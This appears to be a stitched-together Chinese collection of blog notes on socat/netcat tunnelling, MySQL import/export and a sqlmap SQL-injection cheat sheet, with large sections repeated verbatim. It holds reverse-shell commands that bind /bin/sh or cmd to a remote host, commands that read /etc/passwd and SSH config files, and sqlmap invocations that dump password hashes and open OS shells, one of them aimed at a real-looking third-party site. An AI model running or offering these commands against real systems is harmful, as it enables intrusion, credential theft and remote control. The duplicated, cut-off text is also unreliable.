linux:

socat TCP4-LISTEN:188,reuseaddr,fork TCP4:192.168.1.22:123 &

(在本地监听188端口,并将请求转发至192.168.1.22的123端口)

windows:

cmd:> socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.1.22:3389

TCP4-LISTEN:在本地建立的是一个TCP ipv4协议的监听端口;
reuseaddr:绑定本地一个端口;
fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听

socat启动监听模式会在前端占用一个shell,因此需使其在后台执行。
socat -d -d tcp4-listen:8900,reuseaddr,fork tcp4:10.5.5.10:3389 # 端口转发

server : socat exec:/bin/sh tcp4:x.x.x.x:999
client: socat tcp-listen:999 - # 服务端开启sh终端,显示到客户端
socat -d -d tcp4-listen:8901,reuseaddr,fork tcp4:10.120.0.208:3389
socat -d -d tcp4-listen:8903,reuseaddr,fork tcp4:10.5.5.10:1433

ssl tunnel :
server :socat tcp-listen:8888 ,reuseaddr,fork , tcp4:10.0.0.client
client :socat tcp4:10.0.0.server tcp-connect:hostname:8888

tun: 创建两个服务器和客户端之间一条通道
socat -d -d tcp-listen:9999,reuseaddr tun:10.0.0.1/23,up #server
socat socat tcp:x.x.x.x:9999 tun:10.0.0.2/24 ,up

 


说起来有点土,事到如今才第一次用socat.
不过今天看了一眼,netcat(nc)这东西ms已经N年没有人维护了.最先有个叫nc110的东西,由于太普及, 以至于人们都不想再去改动它的功能.结果导致多年来没有任何进步…现任的RHEL5里面好像也是由nc110改出来的.另外分支出来一个netcat,这个在google上直接netcat最容易出来,但也好多年没有人动过了…由于这些情况,才使得socat应运而生.虽然它已经生了好多年了,不过我才认识…
用socat试几个netcat常用的用法,对比如下:

  1. 听tcp 12345端口

    nc -l 127.0.0.1 12345

    socat tcp-listen:12345 -

  2. 向远处tcp 12345端口发点字

    echo “test” | nc 127.0.0.1 12345

    echo “test” | socat - tcp-connect:127.0.0.1:12345

  3. 听udp 23456端口

    nc -u -l 127.0.0.1 23456

    socat udp-listen:23456 -

  4. 向远处udp 23456端口发点字

    echo “test” | nc -u 127.0.0.1 23456

    echo “test” | socat - udp-connect:127.0.0.1:23456

  5. 听unix socket /tmp/unix.socket

    nc -U -l /tmp/unix.socket

    netcat没有-U选项

    socat unix-listen:/tmp/unix.socket -

  6. 向本地unix socket /tmp/unix.socket发点字

    echo “test” | nc -U /tmp/unix.socket

    netcat没有-U选项

    echo “test” | socat - unix-connect:/tmp/unix.sock

  7. 听本地unix datagram socket /tmp/unix.dg.sock
    nc110搞不定,netcat也搞不定

    socat unix-recvfrom:/tmp/unix.dg.sock -

  8. 向本地unix datagram socket /dev/log发点字
    nc110搞不定,netcat也搞不定

    echo “test” | socat - unix-sendto:/tmp/unix.dg.sock

 

----------第二篇放一起了-------
linux下实现UDP端口映射
原文链接: http://www.hiadmin.com/?tag=socat

一、实际问题
snmp监听端口默认为UPD 161,当监控服务器无法直接访问时,就需要用到端口映射来解决!
同样问题还有dns服务器的UPD 53端口。
二、使用nc来映射UPD端口
假设被监控服务器的IP为192.168.1.1;用于端口映射的主机为某个公网IP如59.1.1.1;需要映射的端口为UDP 161转发端口设为1161(自定义建议1024以上端口)
在端口映射服务器上操作,要安装nc,一般系统都会安装;
【注:nc存在安全漏洞,一定要设定防火墙】
首先使用mkfifo建立管道文件

#mkfifo /tmp/snmpfifo
通过nc建立端口映射 -l为监听模式 -u为UDP -p为本地端口;将内网监控161端口映射到本地的1161端口上;

#nc -l -u -p 1161 < /tmp/snmpfifo | nc -u 192.168.1.1 161 > /tmp/snmpfifo
查看netstat 1161是否监听

#netstat -nlp |grep :1161
udp 0 0 0.0.0.0:1161 0.0.0.0:* 31472/nc

在监控服务器上进行测试是否能采集到数据:
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.2 = INTEGER: 2
IF-MIB::ifIndex.3 = INTEGER: 3
IF-MIB::ifIndex.4 = INTEGER: 4
IF-MIB::ifDescr.1 = STRING: lo
IF-MIB::ifDescr.2 = STRING: eth0
….

#snmpwalk -c public -v2c 59.1.1.1:1161 if

设定成功;这里存在一个问题就是nc监听的端口每次一连接就会挂起,采取一个比较笨的办法就是写个restart.sh脚本放在crontab中每分钟执行一次;
产生该问题的主要原因我在下面讲socat的时候会分析的;
针对snmp采集这样是没有问题,如果dns服务就不行啦!
三、采用nc升级版本的socat来实现UDP端口映射
软件包下载地址:http://www.dest-unreach.org/socat/download/
安装无非就是configure make make install
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等
这里不一一介绍啦!
有兴趣可以查看官方文档:http://www.dest-unreach.org/socat/doc/socat.html
我们说说如何使用socat建立UPD端口映射

#socat udp4-listen:11161,reuseaddr,fork UDP:[监控服务器IP]:161
udp4-listen:在本地建立的是一个udp ipv4协议的监听端口;
reuseaddr,绑定本地一个端口;
fork,设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听;

【注:nc就是因为缺少fork模式,所以每次监听只能处理一次连接】
socat是一个强大的软件,希望与有这方面需求的同仁一起学习这个好的工具!
ps:无论是nc方式还是socat方式,启动监听模式都是在前端占用一个shell,所以请在后台执行或者使用screen工具等等!

 

附:
socat官方文档:http://www.dest-unreach.org/socat/doc/socat.html


socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的通道。socat的地址類型很 多,有ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,等等。看一個例子:

c:\>socat - tcp:192.168.1.18:80

這個命令等同於 nc 192.168.1.18 80。 socat裡面,必須有兩個流,所以第一個參數-代表標準的輸入輸出,第二個流連接到192.168.1.18的80端口。再看一個反向telnet的例子:

on server:
c:\>socat tcp-listen:23 exec:cmd,pty,stderr

這個命名把cmd綁定到端口23,同時把cmd的Stderr重定向到stdout。

on client:
c:\>socat readline tcp:server:23

連接到服務器的23端口,即可獲得一個cmd shell。readline是gnu的命令行編輯器,具有歷史功能。

再看文件傳遞的例子。nc也經常用來傳遞文件,但是nc有一個缺點,就是不知道文件什麼時候傳完了,一般要用Ctrl+c來終止,或者估計一個時間,用-w參數來讓他自動終止。用socat就不用這麼麻煩了:

on host 1:
c:\>socat -u open:myfile.exe,binary tcp-listen:999

on host 2:
c:\>socat -u tcp:host1:999 open:myfile.exe,create,binary

這個命令把文件myfile.exe用二進制的方式,從host 1 傳到host 2。-u 表示數據單向流動,從第一個參數到第二個參數,-U表示從第二個到第一個。文件傳完了,自動退出。

再來一個大家喜歡用的例子。在一個NAT環境,如何從外部連接到內部的一個端口呢?只要能夠在內部運行socat就可以了。

外部:
c:\>socat tcp-listen:1234 tcp-listen:3389

內部:
c:\>socat tcp:outerhost:1234 tcp:192.168.12.34:3389

這樣,你外部機器上的3389就影射在內部網192.168.12.34的3389端口上。

socat還具有一個獨特的讀寫分流功能,比如:

c:\>socat open:read.txt!!open:write.txt,create,append tcp-listen:80,reuseaddr,fork

這個命令實現一個假的web server,客戶端連過來之後,就把read.txt裡面的內容發過去,同時把客戶的數據保存到write.txt裡面。”!!”符號用戶合併讀寫流,前面的用於讀,後面的用於寫。

 

linux:

socat TCP4-LISTEN:188,reuseaddr,fork TCP4:192.168.1.22:123 &

(在本地监听188端口,并将请求转发至192.168.1.22的123端口)

windows:

cmd:> socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.1.22:3389

TCP4-LISTEN:在本地建立的是一个TCP ipv4协议的监听端口;
reuseaddr:绑定本地一个端口;
fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听

socat启动监听模式会在前端占用一个shell,因此需使其在后台执行。
socat -d -d tcp4-listen:8900,reuseaddr,fork tcp4:10.5.5.10:3389 # 端口转发

server : socat exec:/bin/sh tcp4:x.x.x.x:999
client: socat tcp-listen:999 - # 服务端开启sh终端,显示到客户端
socat -d -d tcp4-listen:8901,reuseaddr,fork tcp4:10.120.0.208:3389
socat -d -d tcp4-listen:8903,reuseaddr,fork tcp4:10.5.5.10:1433

ssl tunnel :
server :socat tcp-listen:8888 ,reuseaddr,fork , tcp4:10.0.0.client
client :socat tcp4:10.0.0.server tcp-connect:hostname:8888

tun: 创建两个服务器和客户端之间一条通道
socat -d -d tcp-listen:9999,reuseaddr tun:10.0.0.1/23,up #server
socat socat tcp:x.x.x.x:9999 tun:10.0.0.2/24 ,up

 


说起来有点土,事到如今才第一次用socat.
不过今天看了一眼,netcat(nc)这东西ms已经N年没有人维护了.最先有个叫nc110的东西,由于太普及, 以至于人们都不想再去改动它的功能.结果导致多年来没有任何进步…现任的RHEL5里面好像也是由nc110改出来的.另外分支出来一个netcat,这个在google上直接netcat最容易出来,但也好多年没有人动过了…由于这些情况,才使得socat应运而生.虽然它已经生了好多年了,不过我才认识…
用socat试几个netcat常用的用法,对比如下:

  1. 听tcp 12345端口

    nc -l 127.0.0.1 12345

    socat tcp-listen:12345 -

  2. 向远处tcp 12345端口发点字

    echo “test” | nc 127.0.0.1 12345

    echo “test” | socat - tcp-connect:127.0.0.1:12345

  3. 听udp 23456端口

    nc -u -l 127.0.0.1 23456

    socat udp-listen:23456 -

  4. 向远处udp 23456端口发点字

    echo “test” | nc -u 127.0.0.1 23456

    echo “test” | socat - udp-connect:127.0.0.1:23456

  5. 听unix socket /tmp/unix.socket

    nc -U -l /tmp/unix.socket

    netcat没有-U选项

    socat unix-listen:/tmp/unix.socket -

  6. 向本地unix socket /tmp/unix.socket发点字

    echo “test” | nc -U /tmp/unix.socket

    netcat没有-U选项

    echo “test” | socat - unix-connect:/tmp/unix.sock

  7. 听本地unix datagram socket /tmp/unix.dg.sock
    nc110搞不定,netcat也搞不定

    socat unix-recvfrom:/tmp/unix.dg.sock -

  8. 向本地unix datagram socket /dev/log发点字
    nc110搞不定,netcat也搞不定

    echo “test” | socat - unix-sendto:/tmp/unix.dg.sock

 

----------第二篇放一起了-------
linux下实现UDP端口映射
原文链接: http://www.hiadmin.com/?tag=socat

一、实际问题
snmp监听端口默认为UPD 161,当监控服务器无法直接访问时,就需要用到端口映射来解决!
同样问题还有dns服务器的UPD 53端口。
二、使用nc来映射UPD端口
假设被监控服务器的IP为192.168.1.1;用于端口映射的主机为某个公网IP如59.1.1.1;需要映射的端口为UDP 161转发端口设为1161(自定义建议1024以上端口)
在端口映射服务器上操作,要安装nc,一般系统都会安装;
【注:nc存在安全漏洞,一定要设定防火墙】
首先使用mkfifo建立管道文件

#mkfifo /tmp/snmpfifo
通过nc建立端口映射 -l为监听模式 -u为UDP -p为本地端口;将内网监控161端口映射到本地的1161端口上;

#nc -l -u -p 1161 < /tmp/snmpfifo | nc -u 192.168.1.1 161 > /tmp/snmpfifo
查看netstat 1161是否监听

#netstat -nlp |grep :1161
udp 0 0 0.0.0.0:1161 0.0.0.0:* 31472/nc

在监控服务器上进行测试是否能采集到数据:
IF-MIB::ifIndex.1 = INTEGER: 1
IF-MIB::ifIndex.2 = INTEGER: 2
IF-MIB::ifIndex.3 = INTEGER: 3
IF-MIB::ifIndex.4 = INTEGER: 4
IF-MIB::ifDescr.1 = STRING: lo
IF-MIB::ifDescr.2 = STRING: eth0
….

#snmpwalk -c public -v2c 59.1.1.1:1161 if

设定成功;这里存在一个问题就是nc监听的端口每次一连接就会挂起,采取一个比较笨的办法就是写个restart.sh脚本放在crontab中每分钟执行一次;
产生该问题的主要原因我在下面讲socat的时候会分析的;
针对snmp采集这样是没有问题,如果dns服务就不行啦!
三、采用nc升级版本的socat来实现UDP端口映射
软件包下载地址:http://www.dest-unreach.org/socat/download/
安装无非就是configure make make install
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等
这里不一一介绍啦!
有兴趣可以查看官方文档:http://www.dest-unreach.org/socat/doc/socat.html
我们说说如何使用socat建立UPD端口映射

#socat udp4-listen:11161,reuseaddr,fork UDP:[监控服务器IP]:161
udp4-listen:在本地建立的是一个udp ipv4协议的监听端口;
reuseaddr,绑定本地一个端口;
fork,设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听;

【注:nc就是因为缺少fork模式,所以每次监听只能处理一次连接】
socat是一个强大的软件,希望与有这方面需求的同仁一起学习这个好的工具!
ps:无论是nc方式还是socat方式,启动监听模式都是在前端占用一个shell,所以请在后台执行或者使用screen工具等等!

 

附:
socat官方文档:http://www.dest-unreach.org/socat/doc/socat.html


socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的通道。socat的地址類型很 多,有ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,等等。看一個例子:

c:\>socat - tcp:192.168.1.18:80

這個命令等同於 nc 192.168.1.18 80。 socat裡面,必須有兩個流,所以第一個參數-代表標準的輸入輸出,第二個流連接到192.168.1.18的80端口。再看一個反向telnet的例子:

on server:
c:\>socat tcp-listen:23 exec:cmd,pty,stderr

這個命名把cmd綁定到端口23,同時把cmd的Stderr重定向到stdout。

on client:
c:\>socat readline tcp:server:23

連接到服務器的23端口,即可獲得一個cmd shell。readline是gnu的命令行編輯器,具有歷史功能。

再看文件傳遞的例子。nc也經常用來傳遞文件,但是nc有一個缺點,就是不知道文件什麼時候傳完了,一般要用Ctrl+c來終止,或者估計一個時間,用-w參數來讓他自動終止。用socat就不用這麼麻煩了:

on host 1:
c:\>socat -u open:myfile.exe,binary tcp-listen:999

on host 2:
c:\>socat -u tcp:host1:999 open:myfile.exe,create,binary

這個命令把文件myfile.exe用二進制的方式,從host 1 傳到host 2。-u 表示數據單向流動,從第一個參數到第二個參數,-U表示從第二個到第一個。文件傳完了,自動退出。

再來一個大家喜歡用的例子。在一個NAT環境,如何從外部連接到內部的一個端口呢?只要能夠在內部運行socat就可以了。

外部:
c:\>socat tcp-listen:1234 tcp-listen:3389

內部:
c:\>socat tcp:outerhost:1234 tcp:192.168.12.34:3389

這樣,你外部機器上的3389就影射在內部網192.168.12.34的3389端口上。

socat還具有一個獨特的讀寫分流功能,比如:

c:\>socat open:read.txt!!open:write.txt,create,append tcp-listen:80,reuseaddr,fork

這個命令實現一個假的web server,客戶端連過來之後,就把read.txt裡面的內容發過去,同時把客戶的數據保存到write.txt裡面。”!!”符號用戶合併讀寫流,前面的用於讀,後面的用於寫。

 

1 导入数据到远程数据库:
直接执行文件中sql语句
cmd> mysql -h 182.50.133.140 -u root -p databasename < “c:/tmp/da.sql”

进入mysql 控制命令行

cmd> mysql -h 182.50.133.140 -u root -p

show databases;

use mydatabase;

show tables ;

select * from users limit 1,3;

mysqldump -u backup -p 123456 -h 192.168.1.2 backup_test > D:\bak\bakcup.sql

在命令行中导入本地数据文件,以’#’分割字段
mysql>load data local infile ‘c:/tmp/renrentest.txt’ into table openkavaadmin.renrentest fields terminated by ‘#’

>

use databasename;

create table test(t varchar(2000));

load data infile ‘/etc/ssh/ssh_config’ into table test;

select * into outfile ‘/tmp/t.txt’ from test;

 

如果您不指定FIELDS子句,则默认值为假设您写下如下语句时的值:
FIELDS TERMINATED BY ‘\t’ ENCLOSED BY ‘’ ESCAPED BY ‘\‘

mysqlimport 导入数据
cmd>mysqlimport -C -h 182.50.133.140 -u openkavaadmin -p openkavaadmin -L c:/tmp/t.txt

命令行下具体用法如下:

mysqldump -u用戶名 -p密码 -d 数据库名 表名 > 脚本名;

 

 

导出整个数据库结构和数据
mysqldump -h localhost -uroot -p123456 database > dump.sql


 

导出单个数据表结构和数据
mysqldump -h localhost -uroot -p123456 database table > dump.sql


 

 

导出整个数据库结构(不包含数据)
mysqldump -h localhost -uroot -p123456 -d database > dump.sql

 

导出单个数据表结构(不包含数据)
mysqldump -h localhost -uroot -p123456 -d database table > dump.sql


 

参考:
http://dev.mysql.com/doc/refman/5.1/zh/sql-syntax.html#load-data
http://database.51cto.com/art/200510/8105.htm
http://blog.csdn.net/adparking/article/details/6676571

1 导入数据到远程数据库:
直接执行文件中sql语句
cmd> mysql -h 182.50.133.140 -u root -p databasename < “c:/tmp/da.sql”

进入mysql 控制命令行

cmd> mysql -h 182.50.133.140 -u root -p

show databases;

use mydatabase;

show tables ;

select * from users limit 1,3;

>system shell_command; add user ; passwd vim /etc/passwd ;

mysqldump -u backup -p 123456 -h 192.168.1.2 backup_test > D:\bak\bakcup.sql
在命令行中导入本地数据文件,以’#’分割字段
mysql>load data local infile ‘c:/tmp/renrentest.txt’ into table openkavaadmin.renrentest fields terminated by ‘#’

>

use databasename;

create table test(t varchar(2000));

load data infile ‘/etc/ssh/ssh_config’ into table test;

select * into outfile ‘/tmp/t.txt’ from test;

 

 

如果您不指定FIELDS子句,则默认值为假设您写下如下语句时的值:
FIELDS TERMINATED BY ‘\t’ ENCLOSED BY ‘’ ESCAPED BY ‘\‘

mysqlimport 导入数据
cmd>mysqlimport -C -h 182.50.133.140 -u openkavaadmin -p openkavaadmin -L c:/tmp/t.txt

 

 

命令行下具体用法如下:

mysqldump -u用戶名 -p密码 -d 数据库名 表名 > 脚本名;

 

 

导出整个数据库结构和数据
mysqldump -h localhost -uroot -p123456 database > dump.sql


 

导出单个数据表结构和数据
mysqldump -h localhost -uroot -p123456 database table > dump.sql


 

 

导出整个数据库结构(不包含数据)
mysqldump -h localhost -uroot -p123456 -d database > dump.sql

 

导出单个数据表结构(不包含数据)
mysqldump -h localhost -uroot -p123456 -d database table > dump.sql


 

参考:
http://dev.mysql.com/doc/refman/5.1/zh/sql-syntax.html#load-data
http://database.51cto.com/art/200510/8105.htm
http://blog.csdn.net/adparking/article/details/6676571

GIT source : https://github.com/sqlmapproject/sqlmap

 

帮助:
sqlmap -h

**基本步骤*
sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称

sqlmap -u “http://www.xxoo.com/news?id=1“ –level=3 –smart –dbms “Mysql” –current-db #获取当前数据库名称

sqlmap -u “http://www.xxoo.com/news?id=1“ –level=3 –smart –dbms “Mysql”–tables -D “db_name” #列表名

sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段

sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql” –dump -C “column_name” -T “table_name” -D “db_name” -v 0 #获取字段内容

**信息获取**

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –users #列数据库用户

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs#列数据库

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–passwords #数据库用户密码

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用户数据库密码

sqlmap -u “http://url/news?id=1“ –dbms “Mysql” –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20 #列出指定字段,列出20条

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–privileges #查看权限

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–privileges -U root #查看指定用户权限

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –roles #枚举数据库用户角色

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–union-cols #union 查询表记录

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”-b #获取banner信息

sqlmap -u “http://url/news?id=1“ –data “id=3” #post注入

sqlmap -u “http://url/news?id=1“ –level=3 –smart-v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1“ –level=3 –smart–proxy”http://127.0.0.1:8118“ #代理注入

sqlmap -u “http://url/news?id=1"--string"STRING_ON_TRUE_PAGE“ #指定关键词

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–sql-shell #执行指定sql命令

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–file /etc/passwd

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-shell #系统交互shell

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–os-pwn #反弹shell

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql”–reg-read #读取win系统注册表

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度

sqlmap -u “http://url/news?id=1"--level=3 –smart –dbms “Mysql” –dbs -o “sqlmap.log” –resume #恢复已保存进度

sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出所有字段

攻击实例:

sqlmap -u “http://url/news?id=1&Submit=Submit“ –cookie=”PHPSESSID=41aa833e6d0d

28f489ff1ab5a7531406” –string=”Surname” –dbms=mysql –users –password

 


 

sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //执行SQL语句


sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更详细的信息


load options from a configuration INI file

sqlmap -c sqlmap.conf


使用POST方法提交


sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″


使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1

使用referer欺骗

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt

使用基本认证

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” -v 3

使用Digest认证

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred “testuser:testpass” -v 3

使用代理,配合TOR

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″proxyhttp://192.168.1.47:3128″

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″proxyhttp://192.168.1.47:8118″

使用多线程猜解


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入


python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p “id


python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p “cat,id”

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”

指定数据库,绕过SQLMAP的自动检测


python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL


MySQL Oracle

PostgreSQL Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”

Linux Windows

自定义payload

Options: –prefix and –postfix

In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injectionpayload prefix and/or postfix.

Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “SELECT FROM users WHERE id=(‘” . $_GET[‘id’] . “‘) LIMIT 0, 1″;:


$ python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p “id” –prefix “‘” –postfix “AND ‘test’=’test”

[…]

[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis

[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’

[hh:mm:16] [TRAFFIC OUT] HTTP request:

GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20

%28%27test%27=%27test HTTP/1.1

Accept-charset: ISO-8859-15,utf-8;q=0.7,;q=0.7

Host: 192.168.1.121:80

Accept-language: en-us,en;q=0.5

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,/;q=0.5

User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)

Connection: close

[…]

[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable

[…]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1′) AND 7433=7433 AND (‘test’=’test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’=’test’) LIMIT 0, 1

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string “luther” -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp “ lu[\w][\w]er” -v

排除网站的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg “Dynamic content: ([\d]+)”

多语句测试,php内嵌函数mysql_query(),不支持多语句


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1

union注入测试

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1

unionz注入配合orderby

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs

fingerprint

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f

python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b

判断当前用户是否是dba

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1

列举数据库用户

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0

列举数据库用户密码

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0

查看用户权限

python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0

列数据库

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0

列出指定数据库指定表的列名

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0

指定列的范围从2-4

python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0

导出所有数据库,所有表的内容


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0

sql query

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query “SELECT usename FROM pg_user” -v 0


python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1

SELECT usename, passwd FROM pg_shadow ORDER BY usename

保存和恢复会话

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s “sqlmap.log”

保存选项到INC配置文件

python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save

GIT source : https://github.com/sqlmapproject/sqlmap

 

帮助:
sqlmap -h

**基本步骤*
sqlmap -u “http://url/news?id=1“ –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称

sqlmap -u “http://www.xxoo.com/news?id=1“ –level=3 –smart –dbms “Mysql” –current-db #获取当前数据库名称

